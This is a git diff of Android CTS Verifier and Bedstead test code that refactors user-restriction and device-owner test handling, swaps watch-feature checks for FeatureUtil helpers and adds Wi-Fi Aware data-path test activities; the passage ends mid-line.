a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java index 168ba1e674b..4552ccc9157 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java @@ -196,7 +196,6 @@ public class CommandReceiverActivity extends Activity { // user mode it runs in a different user. // Most DPM operations must be set on device owner user, but a few - like adding user // restrictions - must be set in the current user. - boolean useCurrentUserDpm = intent.getBooleanExtra(EXTRA_USE_CURRENT_USER_DPM, false); mDpm = useCurrentUserDpm ? getSystemService(DevicePolicyManager.class) @@ -205,14 +204,15 @@ public class CommandReceiverActivity extends Activity { mUm = (UserManager) getSystemService(Context.USER_SERVICE); mAdmin = DeviceAdminTestReceiver.getReceiverComponentName(); - final String command = getIntent().getStringExtra(EXTRA_COMMAND); + final String command = intent.getStringExtra(EXTRA_COMMAND); Log.i(TAG, "Command: " + command); switch (command) { case COMMAND_SET_USER_RESTRICTION: { String restrictionKey = intent.getStringExtra(EXTRA_USER_RESTRICTION); boolean enforced = intent.getBooleanExtra(EXTRA_ENFORCED, false); - Log.i(TAG, "Setting '" + restrictionKey + "'=" + enforced + " using " + mDpm - + " on user " + UserHandle.myUserId()); + Log.i(TAG, "Setting '" + restrictionKey + "'=" + enforced + + " using " + mDpm + " on user " + + (useCurrentUserDpm ? UserHandle.myUserId() : UserHandle.SYSTEM)); if (enforced) { mDpm.addUserRestriction(mAdmin, restrictionKey); } else { diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java index 9d49028e803..6b16e721ea4 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java @@ -40,6 +40,7 @@ import com.android.cts.verifier.PassFailButtons; import com.android.cts.verifier.R; import com.android.cts.verifier.TestListAdapter.TestListItem; import com.android.cts.verifier.TestResult; +import com.android.cts.verifier.features.FeatureUtil; /** * Activity that lists all positive device owner tests. Requires the following adb command be issued @@ -252,7 +253,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct R.string.device_owner_user_restriction_unset, CommandReceiverActivity.createSetCurrentUserRestrictionIntent( UserManager.DISALLOW_CONFIG_WIFI, false)) - })); + })); } // DISALLOW_AMBIENT_DISPLAY. @@ -272,8 +273,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct // new Intent(Settings.ACTION_DISPLAY_SETTINGS))})); // DISALLOW_CONFIG_VPN - // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature - if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) { + if (FeatureUtil.isConfigVpnSupported(this)) { adapter.add(createInteractiveTestItem(this, DISALLOW_CONFIG_VPN_ID, R.string.device_owner_disallow_config_vpn, R.string.device_owner_disallow_config_vpn_info, @@ -468,8 +468,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct R.string.enterprise_privacy_test, enterprisePolicyTestIntent)); - if (packageManager.hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS) - && UserManager.supportsMultipleUsers()) { + if (FeatureUtil.supportManagedSecondaryUsers(this)) { // Managed user adapter.add(createInteractiveTestItem(this, MANAGED_USER_TEST_ID, R.string.managed_user_test, diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java index 83fe87cf313..70aaab557b7 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java @@ -228,9 +228,7 @@ public class IntentFiltersTestHelper { } if (pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) { - forwardedIntentsFromManaged.addAll(Arrays.asList( - new Intent(MediaStore.Audio.Media.RECORD_SOUND_ACTION), - new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH))); + forwardedIntentsFromManaged.add(new Intent(MediaStore.Audio.Media.RECORD_SOUND_ACTION)); } if (pm.hasSystemFeature(PackageManager.FEATURE_LOCATION)) { diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java index c5257babe78..6dd31f8551f 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java @@ -28,6 +28,7 @@ import com.android.cts.verifier.ArrayTestListAdapter; import com.android.cts.verifier.PassFailButtons; import com.android.cts.verifier.R; import com.android.cts.verifier.TestListAdapter.TestListItem; +import com.android.cts.verifier.features.FeatureUtil; import java.util.Arrays; import java.util.List; @@ -140,28 +141,30 @@ public class PolicyTransparencyTestListActivity extends PassFailButtons.TestList private void addTestsToAdapter(final ArrayTestListAdapter adapter) { for (String restriction : UserRestrictions.getUserRestrictionsForPolicyTransparency(mMode)) { - final Intent intent = UserRestrictions.getUserRestrictionTestIntent(this, restriction); + Intent intent = + UserRestrictions.getUserRestrictionTestIntent(this, restriction, mMode); if (!UserRestrictions.isRestrictionValid(this, restriction)) { continue; } - final String title = UserRestrictions.getRestrictionLabel(this, restriction); + String title = UserRestrictions.getRestrictionLabel(this, restriction); String testId = getTestId(title); intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TEST_ID, testId); adapter.add(TestListItem.newTest(title, testId, intent, null)); } for (Pair<Intent, Integer> policy : POLICIES) { - final Intent intent = policy.first; + Intent intent = policy.first; String test = intent.getStringExtra(PolicyTransparencyTestActivity.EXTRA_TEST); if (!isPolicyValid(test)) { continue; } + if (mMode == MODE_MANAGED_PROFILE && !ALSO_VALID_FOR_MANAGED_PROFILE.contains(test)) { continue; } if (mMode == MODE_MANAGED_USER && !ALSO_VALID_FOR_MANAGED_USER.contains(test)) { continue; } - final String title = getString(policy.second); + String title = getString(policy.second); String testId = getTestId(title); intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TITLE, title); intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TEST_ID, testId); @@ -185,16 +188,14 @@ public class PolicyTransparencyTestListActivity extends PassFailButtons.TestList switch (test) { case PolicyTransparencyTestActivity.TEST_CHECK_PERMITTED_INPUT_METHOD: return pm.hasSystemFeature(PackageManager.FEATURE_INPUT_METHODS); - // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature case PolicyTransparencyTestActivity.TEST_CHECK_PERMITTED_ACCESSIBILITY_SERVICE: return (pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT) - && !pm.hasSystemFeature(PackageManager.FEATURE_WATCH)); - // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature + && FeatureUtil.isThirdPartyAccessibilityServiceSupported(this)); case PolicyTransparencyTestActivity.TEST_CHECK_KEYGURAD_UNREDACTED_NOTIFICATION: case PolicyTransparencyTestActivity.TEST_CHECK_LOCK_SCREEN_INFO: case PolicyTransparencyTestActivity.TEST_CHECK_MAXIMUM_TIME_TO_LOCK: return (pm.hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN) - && !pm.hasSystemFeature(PackageManager.FEATURE_WATCH)); + && FeatureUtil.isConfigLockScreenSupported(this)); default: return true; } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java index 6a91c060ce4..dceb7476730 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java @@ -28,6 +28,7 @@ import android.text.TextUtils; import android.util.ArrayMap; import com.android.cts.verifier.R; +import com.android.cts.verifier.features.FeatureUtil; import java.util.ArrayList; import java.util.Arrays; @@ -160,6 +161,39 @@ public class UserRestrictions { } } + /** + * Copied from UserRestrictionsUtils. User restrictions that cannot be set by profile owners. + * Applied to all users. + */ + private static final List<String> DEVICE_OWNER_ONLY_RESTRICTIONS = + Arrays.asList( + UserManager.DISALLOW_USER_SWITCH, + UserManager.DISALLOW_CONFIG_PRIVATE_DNS, + UserManager.DISALLOW_MICROPHONE_TOGGLE, + UserManager.DISALLOW_CAMERA_TOGGLE); + + /** + * Copied from UserRestrictionsUtils. User restrictions that cannot be set by profile owners + * of secondary users. When set by DO they will be applied to all users. + */ + private static final List<String> PRIMARY_USER_ONLY_RESTRICTIONS = + Arrays.asList( + UserManager.DISALLOW_BLUETOOTH, + UserManager.DISALLOW_USB_FILE_TRANSFER, + UserManager.DISALLOW_CONFIG_TETHERING, + UserManager.DISALLOW_NETWORK_RESET, + UserManager.DISALLOW_FACTORY_RESET, + UserManager.DISALLOW_ADD_USER, + UserManager.DISALLOW_CONFIG_CELL_BROADCASTS, + UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS, + UserManager.DISALLOW_MOUNT_PHYSICAL_MEDIA, + UserManager.DISALLOW_SMS, + UserManager.DISALLOW_FUN, + UserManager.DISALLOW_SAFE_BOOT, + UserManager.DISALLOW_CREATE_WINDOWS, + UserManager.DISALLOW_DATA_ROAMING, + UserManager.DISALLOW_AIRPLANE_MODE); + private static final List<String> ALSO_VALID_FOR_MANAGED_PROFILE_POLICY_TRANSPARENCY = Arrays.asList( UserManager.DISALLOW_APPS_CONTROL, @@ -203,7 +237,7 @@ public class UserRestrictions { } public static List<String> getUserRestrictionsForPolicyTransparency(int mode) { - if (mode == PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER) { + if (isDeviceOwnerMode(mode)) { ArrayList<String> result = new ArrayList<String>(); // They are all valid except for DISALLOW_REMOVE_MANAGED_PROFILE for (String st : RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY) { @@ -221,7 +255,11 @@ public class UserRestrictions { throw new RuntimeException("Invalid mode " + mode); } - public static Intent getUserRestrictionTestIntent(Context context, String restriction) { + /** + * Creates and returns a new intent to set user restriction + */ + public static Intent getUserRestrictionTestIntent(Context context, String restriction, + int mode) { final UserRestrictionItem item = USER_RESTRICTION_ITEMS.get(restriction); final Intent intent = new Intent(PolicyTransparencyTestActivity.ACTION_SHOW_POLICY_TRANSPARENCY_TEST) @@ -232,10 +270,9 @@ public class UserRestrictions { context.getString(item.label)) .putExtra(PolicyTransparencyTestActivity.EXTRA_SETTINGS_INTENT_ACTION, item.intentAction); - // For DISALLOW_FACTORY_RESET, set on the device owner, not on the current user. - if (!UserManager.DISALLOW_FACTORY_RESET.equals(restriction)) { - intent.putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true); - } + + intent.putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, + !(isDeviceOwnerMode(mode) && isOnlyValidForDeviceOwnerOrPrimaryUser(restriction))); return intent; } @@ -275,8 +312,8 @@ public class UserRestrictions { } return isCellBroadcastAppLinkEnabled; case UserManager.DISALLOW_FUN: - // Easter egg is not available on watch - return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH); + // Easter egg is not available on watch or automotive + return FeatureUtil.isFunSupported(context); case UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS: return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY); case UserManager.DISALLOW_CONFIG_WIFI: @@ -294,10 +331,10 @@ public class UserRestrictions { case UserManager.DISALLOW_CONFIG_CREDENTIALS: return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH) && hasSettingsActivity(context, ACTION_CREDENTIALS_INSTALL); - case UserManager.DISALLOW_CONFIG_LOCATION: case UserManager.DISALLOW_CONFIG_SCREEN_TIMEOUT: - // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature - return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH); + return FeatureUtil.isScreenTimeoutSupported(context); + case UserManager.DISALLOW_CONFIG_LOCATION: + return FeatureUtil.isConfigLocationSupported(context); default: return true; } @@ -345,6 +382,18 @@ public class UserRestrictions { return !TextUtils.isEmpty(resolveInfo.activityInfo.applicationInfo.packageName); } + /** + * Checks whether target mode is device owner test mode + */ + private static boolean isDeviceOwnerMode(int mode) { + return mode == PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER; + } + + private static boolean isOnlyValidForDeviceOwnerOrPrimaryUser(String restriction) { + return DEVICE_OWNER_ONLY_RESTRICTIONS.contains(restriction) + || PRIMARY_USER_ONLY_RESTRICTIONS.contains(restriction); + } + private static class UserRestrictionItem { final int label; final int userAction; diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java index 1cabb008d46..b1b003142d3 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java @@ -125,12 +125,6 @@ public class NotificationListenerVerifierActivity extends InteractiveVerifierAct tests.add(new IsEnabledTest()); tests.add(new ServiceStartedTest()); tests.add(new NotificationReceivedTest()); - if (!isAutomotive) { - tests.add(new SendUserToChangeFilter()); - tests.add(new AskIfFilterChanged()); - tests.add(new NotificationTypeFilterTest()); - tests.add(new ResetChangeFilter()); - } tests.add(new LongMessageTest()); tests.add(new DataIntactTest()); tests.add(new AudiblyAlertedTest()); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java index 7cfcbf8270b..21cf6ceee25 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/CtsConnectionService.java @@ -137,6 +137,7 @@ public class CtsConnectionService extends ConnectionService { if (isSelfManaged) { connection.setConnectionProperties(Connection.PROPERTY_SELF_MANAGED); } + connection.setAudioModeIsVoip(true); connection.setConnectionCapabilities(Connection.CAPABILITY_SUPPORT_HOLD | Connection.CAPABILITY_HOLD); connection.setAddress(request.getAddress(), TelecomManager.PRESENTATION_ALLOWED); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeAcceptAnyTestActivity.java new file mode 100644 index 00000000000..e81528ee64f --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeAcceptAnyTestActivity.java @@ -0,0 +1,32 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.wifiaware; + +import android.content.Context; + +import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase; + +/** + * Test activity for data-path, open, active subscribe. Pair with accept any publish + */ +public class DataPathOpenActiveSubscribeAcceptAnyTestActivity extends BaseTestActivity { + @Override + protected BaseTestCase getTestCase(Context context) { + return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false, + /* isUnsolicited */ false, /* usePmk */ false, /* acceptAny */ false); + } +} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeAcceptAnyTestActivity.java new file mode 100644 index 00000000000..b25c3ef3176 --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeAcceptAnyTestActivity.java @@ -0,0 +1,32 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.wifiaware; + +import android.content.Context; + +import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase; + +/** + * Test activity for data-path, open, passive subscribe. Pair with accept any publish + */ +public class DataPathOpenPassiveSubscribeAcceptAnyTestActivity extends BaseTestActivity { + @Override + protected BaseTestCase getTestCase(Context context) { + return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false, + /* isUnsolicited */ true, /* usePmk */ false, /* acceptAny */ false); + } +} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.java new file mode 100644 index 00000000000..62275ecdb5c --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.java @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.wifiaware; + +import android.content.Context; + +import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase; + +/** + * Test activity for data-path, passphrase, active subscribe. Pair with accept any publish + */ +public class DataPathPassphraseActiveSubscribeAcceptAnyTestActivity extends BaseTestActivity { + @Override + protected BaseTestCase getTestCase(Context context) { + return new DataPathInBandTestCase(context, /* isSecurityOpen */ false, + /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ false, + /* acceptAny */ false); + } +} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.java new file mode 100644 index 00000000000..88ea2bb7ed8 --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.java @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.wifiaware; + +import android.content.Context; + +import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase; + +/** + * Test activity for data-path, passphrase, passive subscribe. Pair with accept any publish + */ +public class DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity extends BaseTestActivity { + @Override + protected BaseTestCase getTestCase(Context context) { + return new DataPathInBandTestCase(context, /* isSecurityOpen */ false, + /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ false, + /* acceptAny */ false); + } +} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeAcceptAnyTestActivity.java new file mode 100644 index 00000000000..136b296fdda --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeAcceptAnyTestActivity.java @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.wifiaware; + +import android.content.Context; + +import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase; + +/** + * Test activity for data-path, PMK, active subscribe. Pair with accept any publish + */ +public class DataPathPmkActiveSubscribeAcceptAnyTestActivity extends BaseTestActivity { + @Override + protected BaseTestCase getTestCase(Context context) { + return new DataPathInBandTestCase(context, /* isSecurityOpen */ false, + /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ true, + /* acceptAny */ false); + } +} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeAcceptAnyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeAcceptAnyTestActivity.java new file mode 100644 index 00000000000..44cab45dc91 --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeAcceptAnyTestActivity.java @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.wifiaware; + +import android.content.Context; + +import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase; + +/** + * Test activity for data-path, PMK, passive subscribe. Pair with accept any publish + */ +public class DataPathPmkPassiveSubscribeAcceptAnyTestActivity extends BaseTestActivity { + @Override + protected BaseTestCase getTestCase(Context context) { + return new DataPathInBandTestCase(context, /* isSecurityOpen */ false, + /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ true, + /* acceptAny */ false); + } +} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java index 01387876788..b1b62bff882 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java @@ -169,8 +169,9 @@ public class TestListActivity extends PassFailButtons.TestListActivity { null)); adapter.add(TestListAdapter.TestListItem.newTest(this, R.string.aware_subscribe, - DataPathOpenPassiveSubscribeTestActivity.class.getName(), - new Intent(this, DataPathOpenPassiveSubscribeTestActivity.class), null)); + DataPathOpenPassiveSubscribeAcceptAnyTestActivity.class.getName(), + new Intent(this, DataPathOpenPassiveSubscribeAcceptAnyTestActivity.class), + null)); adapter.add(TestListAdapter.TestListItem.newCategory(this, R.string.aware_dp_ib_passphrase_unsolicited_accept_any)); adapter.add(TestListAdapter.TestListItem.newTest(this, @@ -181,8 +182,9 @@ public class TestListActivity extends PassFailButtons.TestListActivity { null)); adapter.add(TestListAdapter.TestListItem.newTest(this, R.string.aware_subscribe, - DataPathPassphrasePassiveSubscribeTestActivity.class.getName(), - new Intent(this, DataPathPassphrasePassiveSubscribeTestActivity.class), null)); + DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.class.getName(), + new Intent(this, DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity.class), + null)); adapter.add(TestListAdapter.TestListItem.newCategory(this, R.string.aware_dp_ib_pmk_unsolicited_accept_any)); adapter.add(TestListAdapter.TestListItem.newTest(this, @@ -192,8 +194,9 @@ public class TestListActivity extends PassFailButtons.TestListActivity { null)); adapter.add(TestListAdapter.TestListItem.newTest(this, R.string.aware_subscribe, - DataPathPmkPassiveSubscribeTestActivity.class.getName(), - new Intent(this, DataPathPmkPassiveSubscribeTestActivity.class), null)); + DataPathPmkPassiveSubscribeAcceptAnyTestActivity.class.getName(), + new Intent(this, DataPathPmkPassiveSubscribeAcceptAnyTestActivity.class), + null)); adapter.add(TestListAdapter.TestListItem.newCategory(this, R.string.aware_dp_ib_open_solicited_accept_any)); adapter.add(TestListAdapter.TestListItem.newTest(this, @@ -203,8 +206,9 @@ public class TestListActivity extends PassFailButtons.TestListActivity { null)); adapter.add(TestListAdapter.TestListItem.newTest(this, R.string.aware_subscribe, - DataPathOpenActiveSubscribeTestActivity.class.getName(), - new Intent(this, DataPathOpenActiveSubscribeTestActivity.class), null)); + DataPathOpenActiveSubscribeAcceptAnyTestActivity.class.getName(), + new Intent(this, DataPathOpenActiveSubscribeAcceptAnyTestActivity.class), + null)); adapter.add(TestListAdapter.TestListItem.newCategory(this, R.string.aware_dp_ib_passphrase_solicited_accept_any)); adapter.add(TestListAdapter.TestListItem.newTest(this, @@ -214,8 +218,9 @@ public class TestListActivity extends PassFailButtons.TestListActivity { null)); adapter.add(TestListAdapter.TestListItem.newTest(this, R.string.aware_subscribe, - DataPathPassphraseActiveSubscribeTestActivity.class.getName(), - new Intent(this, DataPathPassphraseActiveSubscribeTestActivity.class), null)); + DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.class.getName(), + new Intent(this, DataPathPassphraseActiveSubscribeAcceptAnyTestActivity.class), + null)); adapter.add(TestListAdapter.TestListItem.newCategory(this, R.string.aware_dp_ib_pmk_solicited_accept_any)); adapter.add(TestListAdapter.TestListItem.newTest(this, @@ -225,8 +230,8 @@ public class TestListActivity extends PassFailButtons.TestListActivity { null)); adapter.add(TestListAdapter.TestListItem.newTest(this, R.string.aware_subscribe, - DataPathPmkActiveSubscribeTestActivity.class.getName(), - new Intent(this, DataPathPmkActiveSubscribeTestActivity.class), null)); + DataPathPmkActiveSubscribeAcceptAnyTestActivity.class.getName(), + new Intent(this, DataPathPmkActiveSubscribeAcceptAnyTestActivity.class), null)); } adapter.registerDataSetObserver(new DataSetObserver() { diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java index cf92bf70899..ab66ee5d23d 100644 --- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java +++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java @@ -990,7 +990,6 @@ public final class DeviceState implements TestRule { UserType forUser, boolean hasProfileOwner, boolean profileOwnerIsPrimary) { - requireFeature("android.software.managed_users", FailureMode.SKIP); com.android.bedstead.nene.users.UserType resolvedUserType = requireUserSupported(profileType, FailureMode.SKIP); @@ -1023,8 +1022,6 @@ public final class DeviceState implements TestRule { } private void ensureHasNoProfile(String profileType, UserType forUser) { - requireFeature("android.software.managed_users", FailureMode.SKIP); - UserReference forUserReference = resolveUserTypeToUser(forUser); com.android.bedstead.nene.users.UserType resolvedProfileType = sTestApis.users().supportedType(profileType); diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java index 63736259a21..6cc76a2bf78 100644 --- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java +++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/EnsureHasNoWorkProfile.java @@ -36,6 +36,7 @@ import java.lang.annotation.Target; @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE}) @Retention(RetentionPolicy.RUNTIME) @EnsureHasNoProfileAnnotation("android.os.usertype.profile.MANAGED") +@RequireFeature("android.software.managed_users") public @interface EnsureHasNoWorkProfile { /** Which user type the work profile should not be attached to. */ DeviceState.UserType forUser() default CURRENT_USER; diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java index 64fe4f1d714..83b2c456eb3 100644 --- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java +++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/AdbUserParser30.java @@ -322,7 +322,7 @@ public class AdbUserParser30 extends AdbUserParser26 { for (String baseType : userTypeString.split("mBaseType: ", 2)[1] .split("\n")[0].split("\\|")) { if 